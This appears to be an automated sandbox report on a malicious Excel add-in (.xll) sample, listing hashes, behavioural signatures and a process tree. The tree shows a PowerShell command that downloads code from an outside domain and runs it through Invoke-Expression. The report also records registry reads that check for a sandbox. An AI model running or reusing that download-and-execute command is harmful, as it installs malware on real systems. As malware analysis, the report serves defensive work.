Analysis
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max time kernel
101s -
max time network
124s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
22-05-2024 22:49
Static task
static1
Behavioral task
behavioral1
Sample
2a47e8d91bedfb91bd4fac0491b3a2316dd22ad685ba3cfdfd0542a4079bca8c.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
2a47e8d91bedfb91bd4fac0491b3a2316dd22ad685ba3cfdfd0542a4079bca8c.xll
Resource
win11-20240508-en
General
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Target
2a47e8d91bedfb91bd4fac0491b3a2316dd22ad685ba3cfdfd0542a4079bca8c.xll
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Size
12KB
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MD5
468838044ce224f9e08296f4a6ce5ad0
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SHA1
140ffc092c32ebda7ad2c9d2579e931cf935e8b5
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SHA256
2a47e8d91bedfb91bd4fac0491b3a2316dd22ad685ba3cfdfd0542a4079bca8c
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SHA512
d3641a753227692caaacdfb0c989b6eadc6649f9442c3e34f481372dfefc5e3235daa714480608f053e2ea3c59a9c45f1be51308385f0480b48b09dcff0c609e
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SSDEEP
192:FL29RBzDzeobchBj8JONzONfrucrEPEjr7Ahk1:929jnbcvYJOgxucvr7CE
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4536 1060 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 12 4948 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 1060 EXCEL.EXE 1060 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1060 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4948 powershell.exe 4948 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4948 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 1060 EXCEL.EXE 1060 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 1060 EXCEL.EXE 1060 EXCEL.EXE 1060 EXCEL.EXE 1060 EXCEL.EXE 1060 EXCEL.EXE 1060 EXCEL.EXE 1060 EXCEL.EXE 1060 EXCEL.EXE 1060 EXCEL.EXE 1060 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 1060 wrote to memory of 4536 1060 EXCEL.EXE mshta.exe PID 1060 wrote to memory of 4536 1060 EXCEL.EXE mshta.exe PID 1060 wrote to memory of 4536 1060 EXCEL.EXE mshta.exe PID 4536 wrote to memory of 4948 4536 mshta.exe powershell.exe PID 4536 wrote to memory of 4948 4536 mshta.exe powershell.exe PID 4536 wrote to memory of 4948 4536 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2a47e8d91bedfb91bd4fac0491b3a2316dd22ad685ba3cfdfd0542a4079bca8c.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4948
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\2a47e8d91bedfb91bd4fac0491b3a2316dd22ad685ba3cfdfd0542a4079bca8c.xll
Filesize12KB
MD5468838044ce224f9e08296f4a6ce5ad0
SHA1140ffc092c32ebda7ad2c9d2579e931cf935e8b5
SHA2562a47e8d91bedfb91bd4fac0491b3a2316dd22ad685ba3cfdfd0542a4079bca8c
SHA512d3641a753227692caaacdfb0c989b6eadc6649f9442c3e34f481372dfefc5e3235daa714480608f053e2ea3c59a9c45f1be51308385f0480b48b09dcff0c609e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82